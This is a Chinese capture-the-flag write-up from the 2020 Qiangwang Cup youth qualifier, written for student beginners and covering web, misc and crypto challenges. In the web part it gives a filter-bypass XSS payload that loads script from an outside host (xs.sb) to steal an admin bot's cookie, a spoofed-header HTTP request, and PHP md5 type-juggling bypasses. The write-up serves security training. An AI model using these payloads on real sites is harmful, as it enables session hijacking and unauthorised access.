第四届强网杯青少年专项赛——线上选拔赛部分writeup

2020-10-12 8,353

  出题的难易程度适中,比较青少年年龄段的CTF选手解题,但是也有些题存在不少脑洞。最后的话我们队(我,烨师傅,lxy师傅)是取得了线上选拔赛的第一名,种种原因没有去到线下赛。这次writeup是自己做题写的,想看其他题型的完整版可以去百度搜搜。这个writeup是之前写给学校刚入门的学弟学妹看的,所以会显得比较啰嗦和表达不流畅啥的,希望大师傅们别介意。


web

序号:1

题目名称:签到

解题过程:

1.jpg

打开后是kali的命令界面,

2.jpg

直接f12审查元素获取flag,

3.jpg

也可以一直按动回车获取flag,

4.jpg


序号:2

题目名称:easy_http

解题过程:

5.jpg

访问先是要求添加get头,

6.jpg

然后添加Post头,

7.jpg

之后要求本地访问,

8.jpg

最后要求***明,

9.png

这个也是非常脑洞的题目,scret其实是个迷雾,直接把Http_1s_W0nd3rful关键字添加到UA头即可解出,想了半天才弄出来,数据包如下,

POST /?fruit=apple HTTP/1.1
Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Http_1s_W0nd3rful
X-Forwarded-For:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

vegetable=potato

获取flag,

10.jpg


序号:3

题目名称:xss

解题过程:

11.jpg

打开题目可以看到导航栏有三个地址,第一个是成绩查询的界面,输入姓名可以查询到成绩,

12.jpg

然后第二个是反馈页面可以提交站点的链接,管理员会自动打开查看,

13.jpg

最后一个界面是Admin,打开是后台,

14.jpg

由于题目标题就是xss,所以这题考察的肯定是xss内容。先测试成绩查询页面是否存在xss,

15.jpg

在成绩查询的输入口通过fuzz发现过滤了script,如:

<script>alert(/xss/)</script>

16.jpg

利用双写加上大小写绕过防御策略,

<scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>

17.jpg

得到反射型的URL如下:

http://eci-2ze8iaai2nr5l4ky7twq.cloudeci1.ichunqiu.com:8888/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

访问后打到了自己的cookie信息,证明反射型xss是构造成功的,

18.jpg

然后解题的思路就来了,如:

  • 成绩查询页面构造反射型xss

  • 反馈界面将xss的地址提交,管理员会自动打开该地址

  • 成功打到cookie后修改cookie进入后台,然后获取flag

在反馈界面提交xss地址,

19.png

这里有个坑,很多师傅打不到cookie就是这个原因,因为/就代表了主页面,也就是http://容器地址/,如果再提交http://容器地址/xss代码是无法打的,所以只能构造下列的payload:

/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

不到半分钟就打到cookie了,

20.jpg

修改cookie后访问admin页面得到flag,

21.jpg


序号:4

题目名称:easy_php

解题过程:

22.jpg

打开得到以下php代码,

23.jpg

<?php

highlight_file(__FILE__);

if ( isset($_GET['a1']) && isset($_GET['a2']) ) {
    if( ($_GET['a1'] == $_GET['a2']) || (md5($_GET['a1']) != md5($_GET['a2'])) ){
        die("No");
    }
}else{
    die("Please input a1 and a2.");
}

if ( isset($_GET['b1']) && isset($_GET['b2']) ) {
    if( ($_GET['b1'] === $_GET['b2']) || (md5($_GET['b1']) !== md5($_GET['b2'])) ){
        die("NoNo");
    }
}else{
    die("Please input b1 and b2.");
}

if ( isset($_GET['time']) ){
    if( strlen($_GET['time'])>4 || $_GET['time']<time() || is_array($_GET['time'])){
        die("NoNoNo");
    }
}else{
    die("Please input time.");
}

echo file_get_contents('/flag');
Please input a1 and a2.

需要绕过三个限制才能获取flag,

if ( isset($_GET['a1']) && isset($_GET['a2']) ) {
    if( ($_GET['a1'] == $_GET['a2']) || (md5($_GET['a1']) != md5($_GET['a2'])) ){
        die("No");

第一个是a1和a2参数,需要满足以下条件:

  • a1参数和a2参数的值不同

  • a1参数和a2参数值的md5相同

可以利用弱类型绕过,如:

?a1=s878926199a&a2=s155964671a

第二个是b1和b2参数,

if ( isset($_GET['b1']) && isset($_GET['b2']) ) {
    if( ($_GET['b1'] === $_GET['b2']) || (md5($_GET['b1']) !== md5($_GET['b2'])) ){
        die("NoNo");

需要满足以下条件:

  • b1参数和b2参数值相同

  • b1参数和b2参数的md5不同

可以用数组形式绕过,

b1[]=1&b2[]=2

第三个是time参数,

if ( isset($_GET['time']) ){
    if( strlen($_GET['time'])>4 || $_GET['time']<time() || is_array($_GET['time'])){
        die("NoNoNo");

需要满足以下条件:

  • time参数的长度大于4

  • time参数的值小于当前时间戳

  • time参数不能是数组

可以使用科学计数法绕过,

time=6e11

最终的payload为:

?a1=s878926199a&a2=s155964671a&b1[]=1&b2[]=2&time=6e11

得到了flag,

24.jpg


misc

序号:1

题目名称:easy_pcap

解题过程:

25.jpg

根据题目题干信息可以使用wireshark进行流量分析,打开数据包pcap格式数据包后发现很多的http协议,先过滤出HTTP协议类型的请求

26.jpg

通过分析发现是一句话后门的流量监控文件,发现一php文件名疑似是base编码,

27.jpg

base64解密得到flag,

28.jpg

然后进行url解码,

29.jpg


序号:2

题目名称:问卷调查

解题过程:

30.jpg

https://www.wjx.top/jq/90166186.aspx

31.jpg

填写完后得到flag,

32.jpg


crypto

序号:1

题目名称:easy_Crypto

解题过程:

33.jpg

下载得到两个文件,

34.jpg

其中一个文件为颜文字编码,一个为猪圈密码,根据文件名称中的序号先颜文字进行解码,

35.jpg

直接F12在审查元素的console模块粘贴进去,回车得到结果数字5,判断应该为栅栏加密的栏数,

https://www.tooleyes.com/app/pigpen_chiper_decrypt.html

36.jpg

猪圈密码直接用上面的在线工具一一解密,

fpyitlyth__nsiaropiosengcgasstrg{r_e}

下划线和括号不是猪圈加密,需要按照原字符串添加上去。得到明文后进行栅栏解密,发现解不出来,

37.png

于是判断可能是W型的栅栏加密(变异),

http://www.atoolbox.net/Tool.php?Id=777

解密得到flag,

38.jpg


本文作者:教主assassin

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/142589.html

Tags:
评论  (0)
快来写下你的想法吧!

教主assassin

文章数:7 积分: 107

不走回头路,不踏寻常路。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号